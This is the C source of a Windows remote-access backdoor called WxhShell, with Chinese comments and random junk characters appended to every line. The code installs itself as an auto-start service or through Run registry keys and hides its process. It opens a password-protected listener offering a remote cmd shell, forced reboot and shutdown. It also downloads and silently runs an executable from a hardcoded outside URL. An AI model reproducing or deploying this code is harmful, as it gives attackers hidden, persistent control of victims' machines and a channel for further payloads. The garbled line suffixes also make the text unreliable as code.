    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qKXg'1#E)  
    if(Boot(SHUTDOWN)) 1grcCL q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y".?j5f?  
    else { Mb_"M7  
    closesocket(wsh); q: F6MW  
    ExitThread(0); Bph(\= W  
    } rG-x 3>b  
    break; bPV}T`  
    } (xfy?N  
  // 获取shell 3I'7+?@@l  
  case 's': { `0s3to%7  
    CmdShell(wsh); lx$Z/f  
    closesocket(wsh); 1_&W1o  
    ExitThread(0); O|m-[]  
    break; IF&edP[V  
  } v7j/_;JE;  
  // 退出 Ku6ndc  
  case 'x': { cl23y}J_?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c(Xm~ 'jeH  
    CloseIt(wsh); .4 NcaMj  
    break; PtPx(R3  
    } xxGQXW  
  // 离开 E0i!|H  
  case 'q': { 5:+x7Ed  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "kt7m  
    closesocket(wsh); Aa-OMo;~  
    WSACleanup(); Gf7r!Ur;g  
    exit(1); 3-y2i/4}$  
    break; V 7 p{'C   
        } rk+s[Qi~  
  } 9~ V(wG  
  } (CAV Oed  
,o2x,I  
  // 提示信息 JWM4S4yZHR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R74RJi&  
} iMYJVB=  
  } 1jK2*y  
\Pfm>$Ib=  
  return; L$Xkx03lz>  
} }lkU3Pf1U  
A;xH{vo{  
// shell模块句柄 s z7<u|  
int CmdShell(SOCKET sock) KVC18"|f  
{ aB&a#^5CI  
STARTUPINFO si; gW G>}M@  
ZeroMemory(&si,sizeof(si)); \= 6dF,V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x;JC{d#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x 'i~o'  
PROCESS_INFORMATION ProcessInfo; aE]RVyG@L  
char cmdline[]="cmd"; t:'^pYN:g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  fsKZ  
  return 0;  ^AwDZX  
} MA=gCG/JD  
H8Ra!FW@  
// 自身启动模式 I Yr4  
int StartFromService(void) F6{Q1DqI  
{ 93)1  
typedef struct VyIM ,glu  
{ /z1-4:^`A[  
  DWORD ExitStatus; c~Y  g(  
  DWORD PebBaseAddress; KWVl7Kw#e  
  DWORD AffinityMask; -<\hcV`&  
  DWORD BasePriority; K?S5C8  
  ULONG UniqueProcessId; /u'V>=D;f  
  ULONG InheritedFromUniqueProcessId; {f6~Vwf  
}   PROCESS_BASIC_INFORMATION; gE&83i"  
1A7(s0J8 :  
PROCNTQSIP NtQueryInformationProcess; !&G& ~*.x  
%Bnn\{Az  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zM%2h:*+{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E zU=q E  
]D>\Z(b  
  HANDLE             hProcess; x50ZwV&j  
  PROCESS_BASIC_INFORMATION pbi; +o 6"Z)  
I&&[ ':  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |3EKK:RE  
  if(NULL == hInst ) return 0; |dqAT.  
K}dvXO@=|c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D<4cpH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .L3D]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v00w GOpW  
XJ1<!tl  
  if (!NtQueryInformationProcess) return 0; Vg`32nRN  
yD^Q&1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c_6~zb?k+m  
  if(!hProcess) return 0; h],l`lT1\  
^hwTnW9Z1:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;`Wh^Qgi  
}@A{'q5y  
  CloseHandle(hProcess); V*+Z=Y'  
IDt7KJ@hc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @ ojV8  
if(hProcess==NULL) return 0; &~N@M!`Dn  
kSqMI'89  
HMODULE hMod; `Yo!sgPO\  
char procName[255]; ESY\!X:|  
unsigned long cbNeeded; U'xmn$ O  
L8$+%Gvo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m@` NN  
oe1$;K>.7  
  CloseHandle(hProcess); \4hB1-  
=@ed {~  
if(strstr(procName,"services")) return 1; // 以服务启动 $@ZrGT  
3B ;aoejHm  
  return 0; // 注册表启动 sTzt  
} ";/,FUJJ  
8|S}!P"  
// 主模块 X_J(P?  
int StartWxhshell(LPSTR lpCmdLine) $-BM`Zt0;  
{ }FAO.  
  SOCKET wsl; D]5cijO6  
BOOL val=TRUE; R|t.J oP9  
  int port=0; #7,;/rtO7  
  struct sockaddr_in door; 8CGjI?j  
|D[4 G6&  
  if(wscfg.ws_autoins) Install(); iJEKLv  
G+W0X  
port=atoi(lpCmdLine); "D/\&1.&  
sxn^1|O;m  
if(port<=0) port=wscfg.ws_port; qa)Qf,`  
9d >AnTf&H  
  WSADATA data; :LMLY<8>9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6+_qGV  
\oV g(J&o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +m1y#|08  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v^Pjvv=  
  door.sin_family = AF_INET; MN. $a9m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r| 0wIpi6Q  
  door.sin_port = htons(port); :"~n` Q2[  
C1SCV^#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $n9Bp'<  
closesocket(wsl); gK>aR ^*  
return 1; T.#Vma  
} L 3^+`e  
5(&'/U^  
  if(listen(wsl,2) == INVALID_SOCKET) { U=\!`_f':  
closesocket(wsl); kmF@u@5M  
return 1; >_LZD4v! <  
} Z'4oE )  
  Wxhshell(wsl); iz\GahK  
  WSACleanup(); 222Mm/QN  
& 0%x6vea  
return 0; LIMPWw g  
GUdVsZjz(  
} Jz6zJKcA  
@vkO(o  
// 以NT服务方式启动 ` @Tl7I\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `l`)Cs;a  
{ Ld:U~M-  
DWORD   status = 0; <aGfQg|554  
  DWORD   specificError = 0xfffffff; Zdll}nO"E  
-_"6jU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :]k`;;vh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gKWsmx!["  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :PF6xL&  
  serviceStatus.dwWin32ExitCode     = 0; 0l>4Umxr{J  
  serviceStatus.dwServiceSpecificExitCode = 0; -k"5GUc|  
  serviceStatus.dwCheckPoint       = 0; #u<n .  
  serviceStatus.dwWaitHint       = 0; 5Uha,Q9SA  
NE2P "mY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ubQZTAx  
  if (hServiceStatusHandle==0) return; jxNnrIA  
Avn)%9  
status = GetLastError(); <vUhJgN2/  
  if (status!=NO_ERROR) q[MZSg  
{ tw%z!u[a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tg' 2 v/  
    serviceStatus.dwCheckPoint       = 0; `78)|a*R.  
    serviceStatus.dwWaitHint       = 0; [5sa1$n96G  
    serviceStatus.dwWin32ExitCode     = status; s'yT}XQ;r  
    serviceStatus.dwServiceSpecificExitCode = specificError; b1ma(8{{{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3"y,Ut KGa  
    return; Ht=h9}x"g  
  } }D\i1/Y  
~_Q1+ax}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aX{i   
  serviceStatus.dwCheckPoint       = 0; g6~B|?!  
  serviceStatus.dwWaitHint       = 0; 'n4$dv% q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X4Y!Z/b  
} T?V!%AqY:  
v[I,N$ :  
// 处理NT服务事件,比如:启动、停止 $`Hb -  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fl0 :Z  
{ T+U,?2nF:  
switch(fdwControl) >,)tRQS  
{ N=@Nn)  
case SERVICE_CONTROL_STOP: 97SOa.@  
  serviceStatus.dwWin32ExitCode = 0; q}0xQjpo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @<,YUp,%S  
  serviceStatus.dwCheckPoint   = 0; iW,fKXuo&y  
  serviceStatus.dwWaitHint     = 0; qrZ*r{3  
  { >* >}d%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RDWUy (iX  
  } ]'!$T72  
  return; 1O@ D  
case SERVICE_CONTROL_PAUSE: 6A,-?W'\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sbV {RSl  
  break; 5T- N\)@  
case SERVICE_CONTROL_CONTINUE: P{gy/'PH,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C3>`e3v  
  break; =#|K-X0d=  
case SERVICE_CONTROL_INTERROGATE: ~s4o1^6L  
  break; :#&Y  
}; ;>Q.r{P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8-cCWo c  
} ZI/Ia$O  
0\2#(^  
// 标准应用程序主函数 ~|5B   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #<EMG|&(  
{ >0Gdxj]\  
=!{ E!3>*D  
// 获取操作系统版本 Qq*Ks 5   
OsIsNt=GetOsVer(); C.Ty\@U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m6 @,J?X  
z6>Rv9f  
  // 从命令行安装 Dj(!i1eQNZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); moT*r?l  
mO(A'p "b  
  // 下载执行文件 &h_do8R  
if(wscfg.ws_downexe) { eUeOyC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N^;rLrm*  
  WinExec(wscfg.ws_filenam,SW_HIDE); " }oH3L  
} =LHz[dSL  
_,{R3k  
if(!OsIsNt) { u#r[JF9LP  
// 如果时win9x,隐藏进程并且设置为注册表启动 +4]31d&3  
HideProc(); h}knn3"S  
StartWxhshell(lpCmdLine); Q8>  
} "ukiuCfVuW  
else M:QM*?+)  
  if(StartFromService()) 3yp?|> e  
  // 以服务方式启动 L j>HZS$F  
  StartServiceCtrlDispatcher(DispatchTable); NUp,In_  
else j8#xNA  
  // 普通方式启动 ])3(@.  
  StartWxhshell(lpCmdLine); lPO +dm  
uEX+j  
return 0; ?&rt)/DV,  
} M'-Z"  
V4>qR{5  
D,sb {N  
k^C^.[?  
=========================================== VS ?npH  
z(g6$Y{  
~H1 ZQ[  
MR`lF-|a|  
5%1a!M M M  
"B3&v%b  
" \~~y1.,U.  
sm9/sX!  
#include <stdio.h> u-%|ZSg  
#include <string.h> !Un &OAy.!  
#include <windows.h> _Z{EO|L  
#include <winsock2.h> P'Diie  
#include <winsvc.h> 8k|&&3_[?  
#include <urlmon.h> NL} Q3Vv1.  
}ofx?s}  
#pragma comment (lib, "Ws2_32.lib") L-z9n@=8\  
#pragma comment (lib, "urlmon.lib") Gw1Rp  
N&jHU+{OU  
#define MAX_USER   100 // 最大客户端连接数 w+W! dM  
#define BUF_SOCK   200 // sock buffer Cyu= c1D;  
#define KEY_BUFF   255 // 输入 buffer fv+t%,++:  
{#C)S&o)6  
#define REBOOT     0   // 重启 (YC{BM}  
#define SHUTDOWN   1   // 关机 jWjp0ii  
WkUV)/j  
#define DEF_PORT   5000 // 监听端口 = iXHu *g  
wJMk%N~R:  
#define REG_LEN     16   // 注册表键长度 }eq*dr1`  
#define SVC_LEN     80   // NT服务名长度 'Tbdo >y  
T;`2t;  
// 从dll定义API 9^<Y~rkm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /*kc|V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i2&I<:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J@lQzRqRb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "eG@F  
0Q4i<4 XW  
// wxhshell配置信息 7Adg;  
struct WSCFG { 7I4<Dj  
  int ws_port;         // 监听端口 ##r9/`A  
  char ws_passstr[REG_LEN]; // 口令 W:hg*0z-*  
  int ws_autoins;       // 安装标记, 1=yes 0=no XT` 2Z=  
  char ws_regname[REG_LEN]; // 注册表键名 M,we9];N  
  char ws_svcname[REG_LEN]; // 服务名 Q@0Zh, l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3]wV 1<K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tRu j}n+x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Uy98lv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @t{`KB+ ^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "OWW -m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -|g9__|@  
)kk10AZV-E  
}; #w6ty<b;  
Hzc5BC  
// default Wxhshell configuration 6tZ ak1=V  
struct WSCFG wscfg={DEF_PORT, 64LAZE QX  
    "xuhuanlingzhe", [~{'"-3L0  
    1, ;m#_Rj6  
    "Wxhshell", ?mn&b G  
    "Wxhshell", U ljWBd  
            "WxhShell Service",  "[ #.  
    "Wrsky Windows CmdShell Service", cJLAP%.L  
    "Please Input Your Password: ", s8V:;$ !  
  1, aExt TE  
  "http://www.wrsky.com/wxhshell.exe", .NSV%I  
  "Wxhshell.exe" G(;R+%pu  
    }; I#UL nSJ3  
F_.1^XM  
// 消息定义模块 des.TSZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9!?Ywc>0#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7xh91EU:4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U%r|hn3  
char *msg_ws_ext="\n\rExit."; !%Bhg?  
char *msg_ws_end="\n\rQuit."; <i~=-Z(  
char *msg_ws_boot="\n\rReboot..."; !D|c2  
char *msg_ws_poff="\n\rShutdown..."; 6]NaP_\0  
char *msg_ws_down="\n\rSave to "; rd1EA|T  
3-v&ktD&N'  
char *msg_ws_err="\n\rErr!"; d J.up*aR  
char *msg_ws_ok="\n\rOK!"; P{+,?X\  
 WJTc/  
char ExeFile[MAX_PATH]; M REB  
int nUser = 0; x T1MW  
HANDLE handles[MAX_USER]; X 4CiVV  
int OsIsNt; j.kv!;Rj=  
nq qqP  
SERVICE_STATUS       serviceStatus; k7kPeq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }uiD8b{I  
au#/Q  
// 函数声明 wK!7mZ  
int Install(void); h!J|4Q a  
int Uninstall(void); Ejt?B')aB5  
int DownloadFile(char *sURL, SOCKET wsh); A_g\Fa[jG  
int Boot(int flag); lS{ ^*(a  
void HideProc(void); %:N;+1  
int GetOsVer(void); wnjAiIE5  
int Wxhshell(SOCKET wsl); G#YBfPmr  
void TalkWithClient(void *cs); oS^g "hQ`\  
int CmdShell(SOCKET sock); GJIZu&C  
int StartFromService(void); F/u i(4  
int StartWxhshell(LPSTR lpCmdLine); . L9n  
&$yDnSt\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N{#9gr3zi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yA~1$sA1  
d]vom@iI  
// 数据结构和表定义 y<kg;-& 8  
SERVICE_TABLE_ENTRY DispatchTable[] = s1bb2R  
{ uaqV)H  
{wscfg.ws_svcname, NTServiceMain}, w*\JA+  
{NULL, NULL} 2sYz$ZGC"#  
}; :u`gjj$:s  
KM9H<;A  
// 自我安装 nQ@<[KNd  
int Install(void) 4}-G<7*  
{ m:Fdgu9  
  char svExeFile[MAX_PATH]; lUIh0%O  
  HKEY key; sspGB>h8l  
  strcpy(svExeFile,ExeFile);  y7vA[us  
4m!w<c0NL  
// 如果是win9x系统,修改注册表设为自启动 } 8[  
if(!OsIsNt) { /^$n&gI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PQ2rNY6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a y$CUw  
  RegCloseKey(key); >02p,W6S>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yp]z@SYA@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q})&c.L  
  RegCloseKey(key); QYps5zcn  
  return 0; \Nj#1G  
    } *^:s! F  
  } "u)Le6.  
} N<XMSt  
else { Uf9L*Z'6il  
'.]<lh!  
// 如果是NT以上系统,安装为系统服务 LKgo(&mY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <6&Z5mpm$w  
if (schSCManager!=0) <07]w$m/  
{ Mtc  -  
  SC_HANDLE schService = CreateService ]fSpG\yU  
  ( e_}tK1XY  
  schSCManager, |3BxNFe`%  
  wscfg.ws_svcname, xAr&sGMA  
  wscfg.ws_svcdisp, )JhB!P(  
  SERVICE_ALL_ACCESS, R-tZC9 @  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y1B' _s  
  SERVICE_AUTO_START, S@Aw1i p  
  SERVICE_ERROR_NORMAL, Z|xgZG{  
  svExeFile, kAs=5_?I  
  NULL, =7F?'&LC  
  NULL, C(vQR~_  
  NULL, Ro=dgQ0:t  
  NULL, ,I H~  
  NULL vCUbbQz  
  ); 7n*"9Ai(  
  if (schService!=0) G4ycP8  
  { nF]zd%h  
  CloseServiceHandle(schService); =R)w=ce  
  CloseServiceHandle(schSCManager); 8?ip,Q\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9\uBX.]x  
  strcat(svExeFile,wscfg.ws_svcname); [#%@,C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u/ri {neP{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6!H,(Z]j  
  RegCloseKey(key); UkcH+0o  
  return 0; \f7R^;`_<R  
    } T(Ji%S >  
  } -/:K.SY,  
  CloseServiceHandle(schSCManager); QZJnb%]  
} O*%5P5'p"{  
} izu_1X  
rdsZ[ii  
return 1; @sUec  
} BS%pS(  
`6(Zc"/ \m  
// 自我卸载 |Mgzb0_IiQ  
int Uninstall(void) '7g]@Q7  
{ z:=E- +  
  HKEY key; :<HLw.4O  
tJ .Ln  
if(!OsIsNt) { <o/lK\>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GI>(S  
  RegDeleteValue(key,wscfg.ws_regname); [=cYsW%WG  
  RegCloseKey(key); Awr(}){  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @"H7Q1Hg!*  
  RegDeleteValue(key,wscfg.ws_regname); 7~);,#[ky  
  RegCloseKey(key); Eqi;m,)  
  return 0; pG22Nx  
  } JvNd'u)Z<  
} 3p]\l ]=  
} /qFY $vj  
else { = ?BhtW  
6 X'#F,M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ">Ms V/  
if (schSCManager!=0) G cB<i  
{ pu_?) U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]x(6^:D5  
  if (schService!=0) Dl,sl>{  
  { Sj o-Xf}  
  if(DeleteService(schService)!=0) { lMcO2006L  
  CloseServiceHandle(schService); @bChJl4  
  CloseServiceHandle(schSCManager); v+o6ZNX  
  return 0; '}:(y$9.`  
  } ].sD#~L_  
  CloseServiceHandle(schService); C-g,uARX(r  
  } Z<QNzJ D  
  CloseServiceHandle(schSCManager); pH(X;OC 9S  
} s p+'c;a  
} Jp|eKZ  
%Y,Ru)5}  
return 1; 8l'W[6  
} q>wO=qWx  
) I(9qt>Y  
// 从指定url下载文件 @|s$ :;(=  
int DownloadFile(char *sURL, SOCKET wsh) HU$]o N  
{ F'CJN$6Mw/  
  HRESULT hr; uG/'9C6Z  
char seps[]= "/"; &[SFl{fx>-  
char *token; brG!TJ   
char *file; KT+{-"4-  
char myURL[MAX_PATH]; 0/1=2E ^,  
char myFILE[MAX_PATH]; %gj7KF  
[WV&Y,E  
strcpy(myURL,sURL); f>e0 l'\  
  token=strtok(myURL,seps); hQ@#h`lS  
  while(token!=NULL) {&L^|X  
  { Fnay{F8z  
    file=token; )l/ .<`|  
  token=strtok(NULL,seps); 5>UQ3hWo  
  } %Y"pVBc  
?uU_N$x  
GetCurrentDirectory(MAX_PATH,myFILE); $zF%F.rln  
strcat(myFILE, "\\"); l]j;0i  
strcat(myFILE, file); EPR85[k  
  send(wsh,myFILE,strlen(myFILE),0); [Jj@A(Cz  
send(wsh,"...",3,0); H@9QEj!Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u,{R,hTDS  
  if(hr==S_OK) 4S4gK   
return 0; G/#m. =t  
else ><xmw=  
return 1; j@Pd" Z9  
7GS 4gSd3  
} 5Ar gM%  
PKC0Dt;F.  
// 系统电源模块 VMe  
int Boot(int flag) 5g O9 <  
{ 0*+EYnu+  
  HANDLE hToken; ,k*%=TF7N  
  TOKEN_PRIVILEGES tkp; FBvh7D.hV  
 \S1W,H|  
  if(OsIsNt) { sKJr34  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0-;>O|U3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =vvd)og  
    tkp.PrivilegeCount = 1; lrL:G[rt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Dr[;\/|#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a)c;z@r  
if(flag==REBOOT) { =f [/Pv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .lM]>y)  
  return 0; Zu~w:uNmU  
} u&[L!w  
else { -7'|&zP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bfm+!9=9S  
  return 0; *j,bI Y&se  
} )=`DEbT  
  } `'>~(8&zE  
  else { R eb.x_  
if(flag==REBOOT) { Q1ayd$W@<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <mj/P|P@  
  return 0; lpS v  
} 6 VuyKt  
else { ,>za|y<n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }0Uh<v@  
  return 0; /8nUecr  
} z>iXNwz"?  
} 1P'A*`!K  
'Bxj(LaV-  
return 1; 0 f$96sl  
} G 9 (*F  
JtsXMZz  
// win9x进程隐藏模块 l'@!'  
void HideProc(void) B3D}'<  
{ VBS}2>p  
"A&A?%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \13Q>iAu  
  if ( hKernel != NULL ) *3!r &iY  
  { w!v^6[!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NZa 7[}H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |=0w_)Fa]  
    FreeLibrary(hKernel); </@5>hx/  
  } x DN u'  
j@^zK!mO  
return; c q[nqjC=  
} -Eig#]Se3  
=:xX~,qmv  
// 获取操作系统版本 UNwjx7usD  
int GetOsVer(void) BDzAmrO<  
{ =S\^j"  
  OSVERSIONINFO winfo; 8F[ ;ma>Z8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4nP4F +  
  GetVersionEx(&winfo); ;|Hpg_~%>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6R^32VeK($  
  return 1; nw,.I [  
  else >~]|o   
  return 0; a5saN5)H  
} { dh,sbl  
H&%oHyK  
// 客户端句柄模块 TwVkI<e0s?  
int Wxhshell(SOCKET wsl) 8_G6X\q};  
{ 5uahfJk  
  SOCKET wsh; %'_:#!9  
  struct sockaddr_in client; ;%(sbA  
  DWORD myID; HRrR"b9:  
FG+pR8aA$  
  while(nUser<MAX_USER) db8vm4  
{ ^Y;,cLXJ  
  int nSize=sizeof(client); 1 gcWw, /  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6-tIe _5  
  if(wsh==INVALID_SOCKET) return 1; zPybP E8  
* ?~"Jw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n7G`b'  
if(handles[nUser]==0) s$qc &  
  closesocket(wsh); q :~/2<o  
else je2"D7D  
  nUser++; K]Vp! G  
  } GnUD<P=I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [KHlApL  
s]6;*mI2  
  return 0; "crp/Bj?  
} OFmHj]I7=  
LAnC8O  
// 关闭 socket !OQ5AF$  
void CloseIt(SOCKET wsh) 4)k-gKS*  
{ rNo/H<J%+j  
closesocket(wsh); hGw}o,g  
nUser--; .9=4Af  
ExitThread(0); MUv#8{+F'/  
} C'y2!Q /"  
U^ , !  
// 客户端请求句柄 i2(v7Gef  
void TalkWithClient(void *cs) !.q99DB  
{ hcRe,}wJ  
jP_s(PQ  
  SOCKET wsh=(SOCKET)cs; ~_"V7  
  char pwd[SVC_LEN]; [>pBz3fn,  
  char cmd[KEY_BUFF]; +WR?<*_  
char chr[1]; oQ/T5cOj  
int i,j; oIx|)[  
(~{Y}n]s  
  while (nUser < MAX_USER) { 94dd )/a  
,%N[FZ`|  
if(wscfg.ws_passstr) { xP9h$!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p=A, yGDV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cN?/YkW?]  
  //ZeroMemory(pwd,KEY_BUFF); U{Oo@ztT  
      i=0; YEaT_zWG0  
  while(i<SVC_LEN) { 60$;Q,]o  
_h  \L6.  
  // 设置超时 &Wb"/Hn2  
  fd_set FdRead; "u^vBd[}  
  struct timeval TimeOut; .U@u |  
  FD_ZERO(&FdRead); ~$C<^?"b  
  FD_SET(wsh,&FdRead); Gos# =H  
  TimeOut.tv_sec=8; Y@#N_]oXj  
  TimeOut.tv_usec=0; trrK6(p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z_lKq}^~6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *s" OqTM]x  
ABe25Sus  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lVq5>:'}^;  
  pwd=chr[0]; 9kF0H a}J  
  if(chr[0]==0xd || chr[0]==0xa) { l4U*Lv>   
  pwd=0; `[#id@Z1  
  break; ]1>R8  
  } TI l 'Z7  
  i++; 4@Db $PHs  
    } U*\K<fw   
l4r >#n\yj  
  // 如果是非法用户,关闭 socket ];6955I!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0asP,)i  
} {D..(f1*u  
Ri_2@U-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~CV.Ci.dG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :;+_<pk  
.81Y/Gad_  
while(1) { tA< UkPT  
?<W|Ya  
  ZeroMemory(cmd,KEY_BUFF); !vJ$$o6#  
<bo)p6S&  
      // 自动支持客户端 telnet标准   v6=%KXSF  
  j=0; o8<~zeI  
  while(j<KEY_BUFF) { KN657 |f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'NCqI  
  cmd[j]=chr[0]; Gds(.]_  
  if(chr[0]==0xa || chr[0]==0xd) { [?9 `x-Q  
  cmd[j]=0; }i^|.VZZ  
  break; VY8cy2  
  } uF}dEDB|;  
  j++; S ;rd0+J  
    } %~M*<pN  
;ZAwf0~  
  // 下载文件 Il*!iX|23<  
  if(strstr(cmd,"http://")) { *U$]U0M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9D M,,h<`  
  if(DownloadFile(cmd,wsh)) m> P\}A^N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9{Etv w  
  else RC1bTM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =JfwHFHd#  
  } )~R[aXkvY  
